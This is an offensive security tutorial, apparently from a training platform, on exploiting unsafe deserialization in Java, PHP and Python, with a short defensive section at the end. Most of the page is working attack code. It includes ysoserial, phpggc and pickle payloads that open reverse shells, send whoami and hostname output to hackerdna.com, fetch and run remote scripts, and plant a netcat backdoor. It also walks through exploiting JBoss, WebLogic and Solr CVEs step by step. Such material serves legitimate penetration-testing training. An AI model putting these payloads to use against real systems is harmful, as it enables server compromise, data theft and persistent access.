Deserialization Attacks
Transform Innocent Data Into Remote Code Execution
What You'll Discover
🎯 Why This Matters
Deserialization vulnerabilities represent some of the most devastating security flaws in enterprise applications, often providing immediate remote code execution with minimal user interaction. These vulnerabilities affect virtually every programming language and framework that handles serialized data, from Java Enterprise applications to PHP web frameworks and Python-based APIs. What makes deserialization attacks particularly dangerous is their ability to bypass traditional security controls and execute arbitrary code through the application's own trusted deserialization mechanisms.
🔍 What You'll Learn
You'll master the systematic approach to identifying and exploiting unsafe deserialization across multiple platforms including Java (ysoserial), PHP (phpggc), Python (pickle), and .NET. This includes understanding object injection mechanisms, gadget chain construction, automated payload generation, and advanced techniques for bypassing security filters and WAF protection. You'll learn the same methodical approach that expert penetration testers use to achieve reliable remote code execution through deserialization flaws.
🚀 Your First Win
In the next 25 minutes, you'll successfully exploit a Java deserialization vulnerability to achieve remote code execution using ysoserial, demonstrating how seemingly innocent serialized data can be transformed into a complete server compromise vector.
🔧 Try This Right Now
Understand why Java serialization is recognizable and create your first detection payload
# Step 1: Understand the Java serialization magic number
echo -en '\xac\xed\x00\x05' | xxd
# Output: 00000000: aced 0005 .....
# Why these bytes? Oracle defined this as Java's serialization protocol identifier
# \xac\xed = Magic number (literally "ACED" in hex = "ACE'd" = got it!)
# \x00\x05 = Stream version 5 (current Java serialization format)
# EVERY Java serialized object starts with these exact 4 bytes - it's the protocol standard
# Step 2: Download ysoserial (the expert's toolkit)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# This tool contains "gadget chains" - sequences of existing Java classes
# that when chained together during deserialization, execute arbitrary code
# Step 3: Create a safe detection payload (no harm done)
java -jar ysoserial-all.jar URLDNS "http://hackerdna.com/ping-test" > detection.ser
# URLDNS gadget = makes the target server perform a DNS lookup to your domain
# Why safe? It only causes a DNS request, no code execution or system changes
# This proves deserialization is happening without damaging anything
# Step 4: Examine the payload structure
xxd detection.ser | head -5
# You'll see: aced0005 followed by encoded object data
# This shows how ysoserial wraps malicious objects in valid Java serialization format
# The magic bytes make the server's ObjectInputStream accept our payload as legitimate
# Step 5: Test against a Java application endpoint
curl -X POST -H "Content-Type: application/x-java-serialized-object" \\
--data-binary @detection.ser http://<target>/upload
# We're sending our serialized object directly to an endpoint that might deserialize it
# If vulnerable, the server will reconstruct our object and trigger the DNS lookup
# Check your DNS logs or use services like Burp Collaborator to confirm the hit
You'll see: How the magic bytes aced0005 act like a passport that gets your payload accepted by Java applications, how ysoserial crafts legitimate-looking serialized objects that contain malicious logic, and how you can detect deserialization vulnerabilities safely before attempting exploitation.
Skills You'll Master
✅ Core Understanding
- Serialization format identification and analysis
- Object injection mechanisms across multiple languages
- Gadget chain theory and construction principles
- Automated payload generation and customization
🔍 Expert Skills
- Advanced ysoserial and phpggc usage
- Custom gadget chain development
- WAF and filter bypass techniques
- Blind deserialization exploitation
Understanding Deserialization Vulnerabilities
Deserialization attacks exploit the process of reconstructing objects from serialized data to execute malicious code
Deserialization vulnerabilities occur when applications accept and process serialized objects from untrusted sources without proper validation. Serialization is a fundamental process in modern programming that converts complex objects into byte streams for storage or transmission, while deserialization reverses this process to reconstruct the original objects. When an application deserializes attacker-controlled data, it may instantiate malicious objects that execute arbitrary code during the reconstruction process.
How Deserialization Creates Attack Opportunities
The danger of deserialization lies in the automatic execution of code during object reconstruction. Many programming languages and frameworks execute constructor methods, magic methods, or initialization code when objects are deserialized. If attackers can control the serialized data, they can craft malicious objects that execute arbitrary commands when the application reconstructs them.
The core vulnerability pattern is the combination of three factors: First, the application accepts serialized data from untrusted sources such as user input, cookies, or external APIs. Second, the application uses unsafe deserialization methods that automatically execute code during object reconstruction. Third, the application's classpath or runtime environment contains classes that can be chained together to achieve code execution through their normal initialization processes.
What makes deserialization attacks particularly powerful is that they leverage legitimate application functionality. The malicious code execution happens through the application's own trusted deserialization mechanisms, often bypassing input validation and security controls that focus on traditional injection attacks. The application willingly reconstructs and executes the attacker's objects as part of its normal operation.
Common Attack Vectors
Where deserialization vulnerabilities typically occur
HTTP request/response data
Session storage and cookies
Message queue processing
Cache and database storage
API data exchange
File upload processing
Platform-Specific Risks
Serialization mechanisms by technology
Java: ObjectInputStream, RMI, JMS
PHP: unserialize(), sessions, cache
Python: pickle, cPickle, dill
.NET: BinaryFormatter, XmlSerializer
Ruby: Marshal.load, YAML.load
Node.js: node-serialize, JSON parsing
Exploitation Capabilities
What attackers can achieve
Immediate remote code execution
File system access and manipulation
Database connection hijacking
Network reconnaissance and pivoting
Memory corruption and DoS attacks
Authentication and session bypass
Tools and Techniques
Successful deserialization exploitation requires understanding platform-specific serialization formats, automated payload generation tools, and systematic approaches for identifying vulnerable endpoints. You'll learn the expert methodologies used by security professionals to discover, analyze, and exploit unsafe deserialization across different technology stacks.
ysoserial: Java Deserialization Exploitation
ysoserial is the definitive tool for Java deserialization exploitation, developed by security researchers Chris Frohoff and Gabriel Lawrence. This tool automates the creation of malicious Java object graphs that execute arbitrary code when deserialized by vulnerable applications. GitHub Repository
Understanding Gadget Chains
Gadget chains are sequences of existing Java classes found in common libraries that, when chained together during deserialization, result in arbitrary code execution. Think of them as dominoes - each class triggers the next until the final domino executes your command. ysoserial contains dozens of these pre-built chains targeting popular Java libraries like Apache Commons Collections, Spring Framework, and many others.
# Download and setup ysoserial (essential for Java exploitation)
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# List all available gadget chains (each targets different libraries)
java -jar ysoserial-all.jar 2>&1 | grep "^ "
# You'll see chains like: CommonsCollections1, Spring1, Hibernate1, etc.
# Each name indicates the vulnerable library and variant number
# CommonsCollections1 - Targets Apache Commons Collections 3.x
# This is the most famous and widely applicable gadget chain
java -jar ysoserial-all.jar CommonsCollections1 'wget http://hackerdna.com/rce-test'
# How it works: Uses InvokerTransformer.transform() -> Class.getMethod() -> Method.invoke()
# Final result: Executes your command via Runtime.getRuntime().exec()
# Spring1 - Exploits Spring Framework's PropertyPathFactoryBean
# Creates reverse shell connection back to your machine
java -jar ysoserial-all.jar Spring1 'bash -c "bash -i >& /dev/tcp/hackerdna.com/4444 0>&1"'
# Why Spring1? Targets applications using Spring Core (extremely common)
# The payload leverages Spring's property binding mechanisms
# URLDNS - The "safe" reconnaissance payload
java -jar ysoserial-all.jar URLDNS "http://hackerdna.com/dns-test"
# Special purpose: Only triggers DNS lookup, no code execution
# Perfect for: Confirming deserialization exists without causing damage
# Uses: HashMap.put() -> URL.hashCode() -> URLStreamHandler.getHostAddress()
# Advanced payload customization
java -jar ysoserial-all.jar CommonsCollections1 'curl -X POST http://hackerdna.com/exfil -d "$(whoami)"'
# This payload: Executes command AND exfiltrates the result via HTTP POST
# Demonstrates: How to chain commands for data extraction
# Testing against various application endpoints
# Method 1: Direct HTTP POST to deserialization endpoint
curl -X POST -H "Content-Type: application/x-java-serialized-object" \\
--data-binary @payload.ser http://<target>/deserialize
# Method 2: Via file upload (if app deserializes uploaded files)
curl -X POST -F "file=@payload.ser" http://<target>/upload
# Method 3: Through cookies (if session data is serialized)
curl -b "JSESSIONID=$(base64 -w 0 payload.ser)" http://<target>/dashboard
Pro Insight: Different gadget chains target different library versions and configurations. Always start with URLDNS for detection, then try CommonsCollections1 (most universal), followed by framework-specific chains like Spring1 or Hibernate1 based on your target reconnaissance.
PHP Object Injection with phpggc
phpggc (PHP Generic Gadget Chains) is the premier tool for PHP object injection attacks, created by Ambionics Security. Unlike Java's complex gadget chains, PHP object injection often exploits magic methods (__wakeup, __destruct, __toString) that automatically execute during deserialization. GitHub Repository
PHP Magic Methods and Object Injection
PHP's magic methods are automatically called during object lifecycle events. The __wakeup() method executes during unserialization, __destruct() during object destruction, and __toString() when objects are converted to strings. Attackers exploit these methods by crafting serialized objects that trigger dangerous operations when these methods execute. PHP frameworks often have complex object hierarchies that can be chained together to achieve code execution.
# Install phpggc (essential for PHP object injection)
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# List all available gadget chains by framework
./phpggc -l
# You'll see chains like: Laravel/RCE1, Symfony/RCE4, Doctrine/RCE1, etc.
# Format: Framework/ExploitType+Version
# Understanding PHP serialization format first
echo 'O:4:"User":1:{s:4:"name";s:5:"admin";}' | php -r 'var_dump(unserialize(file_get_contents("php://stdin")));'
# O:4:"User" = Object of class "User" with 4 characters in name
# 1:{...} = Object has 1 property
# s:4:"name" = String property "name" (4 characters)
# s:5:"admin" = String value "admin" (5 characters)
# Laravel/RCE1 - Targets Laravel Framework (most popular PHP framework)
./phpggc Laravel/RCE1 system "whoami"
# How it works: Exploits Laravel's PendingBroadcast.__destruct() method
# Chain: PendingBroadcast.__destruct() -> call_user_func() -> system()
# Result: Executes system commands when object is destroyed
# Symfony/RCE4 - Targets Symfony Framework components
./phpggc Symfony/RCE4 system "id"
# Exploitation path: Uses Symfony's Process class for command execution
# Triggers through: __destruct() -> Process.start() -> shell_exec()
# Advanced: Custom command with data exfiltration
./phpggc Laravel/RCE1 system 'curl -X POST http://hackerdna.com/exfil -d "host=$(hostname)&user=$(whoami)&os=$(uname -a)"'
# This payload: Gathers system info and sends it to your server
# Demonstrates: How to combine reconnaissance with exploitation
# Base64 encoding for HTTP transmission (very common requirement)
./phpggc Laravel/RCE1 system "curl http://hackerdna.com/callback" -b
# Why base64? PHP serialized data contains special characters that break HTTP
# The -b flag handles encoding automatically for web delivery
# URL encoding for GET parameter injection
./phpggc Symfony/RCE4 system "whoami" -u
# Use when injecting payloads through URL parameters
# Example: http://target.com/page.php?data=ENCODED_PAYLOAD
# Testing against different injection points
# Method 1: Direct POST to unserialize endpoint
curl -X POST -d "payload=$(./phpggc Laravel/RCE1 system 'id' -b)" \\
http://<target>/unserialize.php
# Method 2: Through session cookies (if session data is unserialized)
PHP_PAYLOAD=$(./phpggc Laravel/RCE1 system 'whoami' -b)
curl -b "PHPSESSID=$PHP_PAYLOAD" http://<target>/dashboard.php
# Method 3: Via form data (common in user preferences, shopping carts)
curl -X POST -d "user_prefs=$(./phpggc Symfony/RCE4 system 'id' -b)" \\
http://<target>/save_preferences.php
# Method 4: Through cache/Redis injection (if cached data is unserialized)
curl -X POST -d "cache_key=user123&cache_data=$(./phpggc Laravel/RCE1 system 'ps aux' -b)" \\
http://<target>/cache_store.php
Framework-Specific Strategy: Always identify the target framework first (check HTTP headers, error pages, or page source). Laravel and Symfony are most common, but phpggc supports 20+ frameworks including Doctrine, CodeIgniter, CakePHP, and WordPress. Each framework has different magic method exploitation paths and available classes.
Python Pickle Exploitation
Python pickle is arguably the most dangerous deserialization format because it provides direct code execution capabilities without requiring complex gadget chains. The pickle module can serialize and deserialize arbitrary Python objects, including executable code. When applications use pickle.loads() on untrusted data, attackers can achieve immediate remote code execution.
The __reduce__ Method: Python's Achilles' Heel
Python objects can define a __reduce__ method that tells pickle how to reconstruct them. This method returns a tuple containing a callable (function) and its arguments. When pickle deserializes the object, it automatically calls the function with those arguments. This mechanism, designed for legitimate object reconstruction, becomes a direct pathway for code execution when exploited.
# Understanding pickle format first
import pickle
# Normal object serialization
data = {'username': 'admin', 'role': 'user'}
serialized = pickle.dumps(data)
print(f"Normal pickle data: {serialized}")
# Shows how legitimate data looks when pickled
# Basic RCE payload using __reduce__ method
class RCE:
def __reduce__(self):
# Returns: (function_to_call, arguments_tuple)
return (os.system, ('whoami',))
# When unpickled: os.system('whoami') executes automatically
# Generate the malicious payload
import os
malicious_object = RCE()
payload = pickle.dumps(malicious_object)
print(f"Malicious payload: {payload.hex()}")
# Advanced payload: Reverse shell
class ReverseShell:
def __reduce__(self):
import subprocess
# Creates reverse shell connection
return (subprocess.Popen, (['bash', '-c', 'bash -i >& /dev/tcp/hackerdna.com/4444 0>&1'],))
reverse_payload = pickle.dumps(ReverseShell())
# Stealth payload: Downloads and executes script
class DownloadExecute:
def __reduce__(self):
import subprocess
# Downloads script from your server and executes it
return (subprocess.call, (['curl', '-s', 'http://hackerdna.com/payload.sh', '|', 'bash'],))
download_payload = pickle.dumps(DownloadExecute())
# Data exfiltration payload
class DataExfil:
def __reduce__(self):
import subprocess
# Gathers system info and sends to your server
cmd = 'curl -X POST http://hackerdna.com/exfil -d "$(uname -a | base64)"'
return (subprocess.call, (cmd, ), {'shell': True})
exfil_payload = pickle.dumps(DataExfil())
# Base64 encoding for HTTP transmission
import base64
encoded_payload = base64.b64encode(payload).decode()
print(f"Base64 encoded: {encoded_payload}")
# Testing against various Python application endpoints
import requests
# Method 1: Direct POST to pickle endpoint
response = requests.post('http://<target>/api/deserialize',
json={'data': encoded_payload})
# Method 2: Through Redis/cache systems (if they pickle data)
redis_data = {
'action': 'store',
'key': 'user_session_123',
'value': encoded_payload
}
response = requests.post('http://<target>/cache', json=redis_data)
# Method 3: Via file upload (if uploaded files are pickled)
files = {'upload': ('data.pkl', payload, 'application/octet-stream')}
response = requests.post('http://<target>/upload', files=files)
# Method 4: Through ML model endpoints (common in data science apps)
ml_data = {
'model': 'user_behavior',
'serialized_data': encoded_payload
}
response = requests.post('http://<target>/api/predict', json=ml_data)
# Alternative: Using subprocess for more complex operations
class AdvancedRCE:
def __reduce__(self):
import subprocess
# Multi-stage payload: creates persistence, exfiltrates data, establishes backdoor
commands = [
'echo "hackerdna was here" > /tmp/pwned.txt',
'curl -X POST http://hackerdna.com/success -d "$(hostname)"',
'nc -e /bin/sh hackerdna.com 5555 &' # Background backdoor
]
return (subprocess.call, (' && '.join(commands),), {'shell': True})
advanced_payload = pickle.dumps(AdvancedRCE())
Critical Insight: Unlike Java or PHP that require gadget chains, Python pickle gives you direct access to any Python function. This makes it extremely dangerous but also very reliable. Common vulnerable endpoints include ML/AI applications, caching systems, session storage, and any Python web service that accepts serialized objects. Always check for pickle usage in Flask sessions, Django cache backends, and data science APIs.
Real-World Attack Scenarios
These documented deserialization vulnerabilities demonstrate how unsafe object reconstruction has led to complete system compromises in major enterprises, showing the devastating impact and widespread nature of deserialization flaws across different technology stacks.
JBoss Application Server (CVE-2015-7501)
JBoss Application Server was affected by a critical deserialization vulnerability in the JMXInvokerServlet component. CVE-2015-7501 allowed unauthenticated remote code execution through unsafe Java object deserialization.
# JBoss CVE-2015-7501 deserialization exploitation
# Vulnerable versions: JBoss AS 4.x, 5.x, 6.x and EAP 4.x, 5.x, 6.x
# Generate ysoserial payload for CommonsCollections1
java -jar ysoserial-all.jar CommonsCollections1 \\
'wget http://hackerdna.com/jboss-rce' > jboss_payload.ser
# Exploit via JMXInvokerServlet (HTTP POST)
curl -X POST -H "Content-Type: application/x-java-serialized-object" \\
--data-binary @jboss_payload.ser \\
http://<target>:8080/invoker/JMXInvokerServlet
# Alternative exploitation via RMI
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit \\
<target> 1099 CommonsCollections1 'curl http://hackerdna.com/rmi-callback'
Impact: Complete server compromise with unauthorized access to enterprise applications, databases, and sensitive business data hosted on JBoss servers.
Oracle WebLogic Server (CVE-2015-4852)
Oracle WebLogic Server contained a critical deserialization vulnerability in the T3 protocol implementation. CVE-2015-4852 allowed remote attackers to execute arbitrary code by deserializing malicious objects over the T3 protocol.
# WebLogic CVE-2015-4852 T3 deserialization exploitation
# Vulnerable versions: 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0
# Generate ysoserial payload
java -jar ysoserial-all.jar CommonsCollections1 \\
'bash -c "curl http://hackerdna.com/weblogic-callback"' > t3_payload.ser
# T3 protocol handshake
echo -en "t3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n" > t3_handshake.txt
# Exploit via T3 protocol (port 7001 default)
cat t3_handshake.txt t3_payload.ser | nc <target> 7001
# Alternative using WebLogic exploitation tools
python weblogic_exploit.py --target <target> --port 7001 \\
--payload CommonsCollections1 --cmd "whoami"
Impact: Complete compromise of enterprise application servers hosting critical business applications, with access to databases, internal networks, and sensitive corporate data.
Apache Solr RCE (CVE-2017-12629)
Apache Solr contained a deserialization vulnerability in the RunExecutableListener component. CVE-2017-12629 allowed remote code execution through unsafe XML parsing and configuration manipulation.
# Apache Solr CVE-2017-12629 exploitation
# Vulnerable versions: 1.2 to 7.0.1
# Method 1: Config API manipulation
curl -X POST "http://<target>:8983/solr/hackerdna/config" \\
-H "Content-Type: application/json" \\
-d '{
"add-listener": {
"event": "postCommit",
"name": "hackerdna",
"class": "solr.RunExecutableListener",
"exe": "sh",
"dir": "/bin/",
"args": ["-c", "curl http://hackerdna.com/solr-rce"]
}
}'
# Method 2: Direct RCE via vulnerable component
curl "http://<target>:8983/solr/hackerdna/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
Impact: Complete compromise of search infrastructure with potential access to indexed sensitive data, internal networks, and the ability to manipulate search results across enterprise applications.
Defensive Countermeasures
Protecting applications from deserialization attacks requires implementing secure coding practices, proper input validation, and robust application architecture decisions that minimize exposure to unsafe deserialization.
Primary Defense: Avoid Deserializing Untrusted Data
The most effective protection is completely avoiding deserialization of data from untrusted sources. This requires architectural decisions that separate trusted internal serialization from external data exchange mechanisms.
- Use safe data formats - Replace binary serialization with JSON, XML, or other text-based formats
- Implement data transfer objects - Use simple, serialization-safe DTOs for external communication
- API-first architecture - Exchange data through well-defined APIs rather than serialized objects
- Input validation and whitelisting - Validate all incoming data against strict schemas
Secure Implementation Strategies
When serialization is necessary, implement multiple protection layers that restrict object types and limit exploitation impact.
- Object type whitelisting - Allow only explicitly approved object types for deserialization
- Custom serialization methods - Implement secure serialization that doesn't rely on automatic reconstruction
- Integrity verification - Use cryptographic signatures to verify data hasn't been tampered with
- Sandboxed deserialization - Perform deserialization in restricted environments
- Library updates - Keep serialization libraries updated and remove unnecessary dependencies
Advanced Protection Measures
Comprehensive protection requires defense-in-depth approaches addressing both direct attacks and sophisticated bypass attempts.
- Network monitoring - Monitor serialized data transmission and detect unusual patterns
- Application security controls - Use security managers and runtime protection tools
- Container isolation - Run applications in containers to limit exploitation impact
- Regular security testing - Implement automated deserialization vulnerability testing
- Incident response planning - Develop procedures for responding to deserialization attacks
🎯 You've Mastered Deserialization Exploitation!
You now understand how to exploit unsafe object deserialization across multiple platforms to achieve immediate remote code execution and complete system compromise. You can identify deserialization vulnerabilities, generate platform-specific payloads using ysoserial and phpggc, and chain exploitation techniques to demonstrate the devastating impact these vulnerabilities can have on enterprise applications and infrastructure.
Ready to Lead Enterprise Security Architecture and Advanced Threat Detection